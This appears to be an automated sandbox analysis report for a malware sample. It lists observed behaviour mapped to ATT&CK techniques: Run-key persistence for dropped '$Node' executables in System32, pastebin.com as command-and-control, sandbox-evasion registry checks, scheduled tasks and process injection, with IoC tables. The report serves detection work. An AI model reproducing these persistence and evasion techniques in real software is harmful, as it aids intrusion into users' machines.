bd7a853e20ec918539038278bb788fea3314d1da09e7f75608d13a8cd2436362

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Node32.exe

Executes dropped EXE 3 IoCs

pid	Process
1460	$Node32.exe
976	$Node2Json.exe
3832	$Node3Json.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Node32 = "C:\\Windows\\System32\\$Node32.exe"	Node32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Node2Json = "C:\\Windows\\System32\\$Node2Json.exe"	Node32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Node3Json = "C:\\Windows\\System32\\$Node3Json.exe"	Node32.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
13	pastebin.com
14	pastebin.com
15	pastebin.com

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\$Node32.exe	Node32.exe
File opened for modification	C:\Windows\System32\$Node3Json.exe	Node32.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File created	C:\Windows\System32\$Node2Json.exe	Node32.exe
File created	C:\Windows\System32\$Node3Json.exe	Node32.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File created	C:\Windows\System32\$Node32.exe	Node32.exe
File opened for modification	C:\Windows\System32\$Node2Json.exe	Node32.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3332 set thread context of 3024	3332	powershell.EXE	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$Node32.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2092	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00184010F86B2C47"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a69214f3d6736b4d85981f88e145522b000000000200000000001066000000010000200000008493c27fda09eec6733cb0aad0e7604232bd455f8307b2e292ef9f53e8355cad000000000e800000000200002000000037f8b826a67abe75d073fb41bb30b50a3ce17bced181cc9a99a20d936fff9c7bb00300006b47b29e9da73b6ff68eab89f0c5d4542c8ec0500fae84c3d04f67aa2337dd31e8bf8a0e70beda29b28da9d9ebaf12801b5f382688bc3a835c2ac3dfca66383e8c0f58d9559481ed8f3004e83fc420d7dd1aeea56ce17ff701bee78402b33459a4d46dff9f87766e614b7816decbda9b373f439ec92d9711edd13c29a9b7f88ec8cc0084068a755c65ca23d69bdd7a0ff2979986b2094caae67dc1bc8a6e47fd8afc813f5196a0225f976cd42c628ae23352ef33e77ba41cffcc3d2746ba7108d3cede15836baa5d106b577d0cf03cab81178701e0eda6e3b2b36c009ced3c5a6278265a139b8b0c21f2569bf79b599842949210c80d06162b982b7827db786a7cad0b01d91b756b6bca4d4bbdafb2a99e866a2c3d49d592d2562644fa29060155039ea50e5c6784e7c6947ab06683b2e377d4dda05a8fed678338b0642f15131071bf9a1b90357c8407af3d6b1150ec2cba89b086b834851180bca42544e5e06c68312ba54c84dc73621efe24cdf548de312f0aa50584384bd1cf1e7909b854ee5c64d2c4f6ac8097310a119c917b9120e10dce755f161c65b55196913005cc8bcda518a92b49dadb4df29775de4a99b9d3fc2c62031de4d49f56dba67cc7d6df8011c3fe2131390a671810d622f0a43613ae9328add863266c676bcbde94c2f98a7b322a0051d3cd4335fe929707ce8e890da0454eb2504711c2a402823223e7254da2375f9ac0fe186ce85e1d68f88900d16dfea2c5314192095cdb84e312a3acfde38cc72642945b69c5b52ec469c41fc84cfed687dab0ab21fcd0e8fa143f5028f94ab4c87d1625d08377a14f15bc4459f4bf2be9fca76f65683a6fdf2e6692e5e6b23672a3643f933173014a76106d204829f157ce639b0e82e319160fc6aba1d1d09737bdac2d3b1ca63efc72211adb9455864eb922e0df281555317d40ea6b4703d4553e17a5de4d3ffee11930505d60bac313a2759470075d8dae4c296f461317f42dae174c5a331c1d1c55755f580fbf46fe8348399fcb60c95b5e0e43dfe774a97a08c55b0f4bca296fd5eff4e6f3544cab846cbc3415075c5ad71e24ea5dbfc0590775054d6827c41d496f559a2d4ee421d06292a68cc85044f5949bad2615068e4ec3fe13c336ba7665a19e7a0eb16c9ef01f1741f07d7dc9e494a372605e02a41416e749d9f6ae3571619f66ff8a000679556eda0da3c189c164e640fd72f2a71c6c2aec749c625879f2bc573565df3b3f240d90721fdcb7034027a064c43ccad7bdc1e8ea2b25856d5498c1dd8b71987f01675d11166017ec51f08bc6720b20bf1638990d15d5dc8640000000ee6c711f06453b571081224ebcc0cf280cd18bd7b9f6c4a4cd15a7f9eadde989299d8d1cea39ddbc6cff603c9939e7e02231932ea2233a80f8dc78468da2710d	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1731864940"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={27D6FD15-D07D-4FBB-BD69-05A5882CAEDD}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00184010F86B2C47"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00184010F86B2C47 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a69214f3d6736b4d85981f88e145522b00000000020000000000106600000001000020000000b177a4cf8e166e378ee35ae7041f1bc2cd920c1a1f2170095f6112822424b2a0000000000e8000000002000020000000c92e413d560e1fe9edaa5fa40fa0751fbafec2c84520c59a14b703ea6ae8a995800000001d6ca8ad760c9a5c3ac1c20794490993f0510fd0702145c1881aa0b6b62d552b5f859f2c8a853d157542ff4dd183cf2dae39faecedcc6295fbc0ed398dab212eb460cb8398af6e7a55767655d3765aacbffa9836a50a6a85d92e3a7ba9269748b805f8c3a123edc7a9908937d3e9dbe530996ac7f394409c87bf887aca725d1540000000a8a92fd44c9fb95e688c288aadba13669876b8cbbfa0ee53cfb1f2fd96e47c07537852b0a98e427958404535d8f49432300a72818a20d70308155a72a175c754	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3960	schtasks.exe
4292	schtasks.exe
3128	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2884	powershell.exe
2884	powershell.exe
1700	powershell.exe
1700	powershell.exe
3332	powershell.EXE
3332	powershell.EXE
2712	powershell.exe
2712	powershell.exe
3332	powershell.EXE
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	3332	powershell.EXE
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	3332	powershell.EXE
Token: SeDebugPrivilege	3024	dllhost.exe
Token: SeDebugPrivilege	976	$Node2Json.exe
Token: SeDebugPrivilege	3832	$Node3Json.exe
Token: SeShutdownPrivilege	4812	svchost.exe
Token: SeCreatePagefilePrivilege	4812	svchost.exe
Token: SeShutdownPrivilege	244	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	244	mousocoreworker.exe
Token: SeAssignPrimaryTokenPrivilege	2196	svchost.exe
Token: SeIncreaseQuotaPrivilege	2196	svchost.exe
Token: SeSecurityPrivilege	2196	svchost.exe
Token: SeTakeOwnershipPrivilege	2196	svchost.exe
Token: SeLoadDriverPrivilege	2196	svchost.exe
Token: SeSystemtimePrivilege	2196	svchost.exe
Token: SeBackupPrivilege	2196	svchost.exe
Token: SeRestorePrivilege	2196	svchost.exe
Token: SeShutdownPrivilege	2196	svchost.exe
Token: SeSystemEnvironmentPrivilege	2196	svchost.exe
Token: SeUndockPrivilege	2196	svchost.exe
Token: SeManageVolumePrivilege	2196	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2196	svchost.exe
Token: SeIncreaseQuotaPrivilege	2196	svchost.exe
Token: SeSecurityPrivilege	2196	svchost.exe
Token: SeTakeOwnershipPrivilege	2196	svchost.exe
Token: SeLoadDriverPrivilege	2196	svchost.exe
Token: SeSystemtimePrivilege	2196	svchost.exe
Token: SeBackupPrivilege	2196	svchost.exe
Token: SeRestorePrivilege	2196	svchost.exe
Token: SeShutdownPrivilege	2196	svchost.exe
Token: SeSystemEnvironmentPrivilege	2196	svchost.exe
Token: SeUndockPrivilege	2196	svchost.exe
Token: SeManageVolumePrivilege	2196	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2196	svchost.exe
Token: SeIncreaseQuotaPrivilege	2196	svchost.exe
Token: SeSecurityPrivilege	2196	svchost.exe
Token: SeTakeOwnershipPrivilege	2196	svchost.exe
Token: SeLoadDriverPrivilege	2196	svchost.exe
Token: SeSystemtimePrivilege	2196	svchost.exe
Token: SeBackupPrivilege	2196	svchost.exe
Token: SeRestorePrivilege	2196	svchost.exe
Token: SeShutdownPrivilege	2196	svchost.exe
Token: SeSystemEnvironmentPrivilege	2196	svchost.exe
Token: SeUndockPrivilege	2196	svchost.exe
Token: SeManageVolumePrivilege	2196	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2196	svchost.exe
Token: SeIncreaseQuotaPrivilege	2196	svchost.exe
Token: SeSecurityPrivilege	2196	svchost.exe
Token: SeTakeOwnershipPrivilege	2196	svchost.exe
Token: SeLoadDriverPrivilege	2196	svchost.exe
Token: SeSystemtimePrivilege	2196	svchost.exe
Token: SeBackupPrivilege	2196	svchost.exe
Token: SeRestorePrivilege	2196	svchost.exe
Token: SeShutdownPrivilege	2196	svchost.exe
Token: SeSystemEnvironmentPrivilege	2196	svchost.exe
Token: SeUndockPrivilege	2196	svchost.exe
Token: SeManageVolumePrivilege	2196	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2196	svchost.exe
Token: SeIncreaseQuotaPrivilege	2196	svchost.exe
Token: SeSecurityPrivilege	2196	svchost.exe
Token: SeTakeOwnershipPrivilege	2196	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3492	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 2884	2340	Node32.exe	87
PID 2340 wrote to memory of 2884	2340	Node32.exe	87
PID 2340 wrote to memory of 4292	2340	Node32.exe	91
PID 2340 wrote to memory of 4292	2340	Node32.exe	91
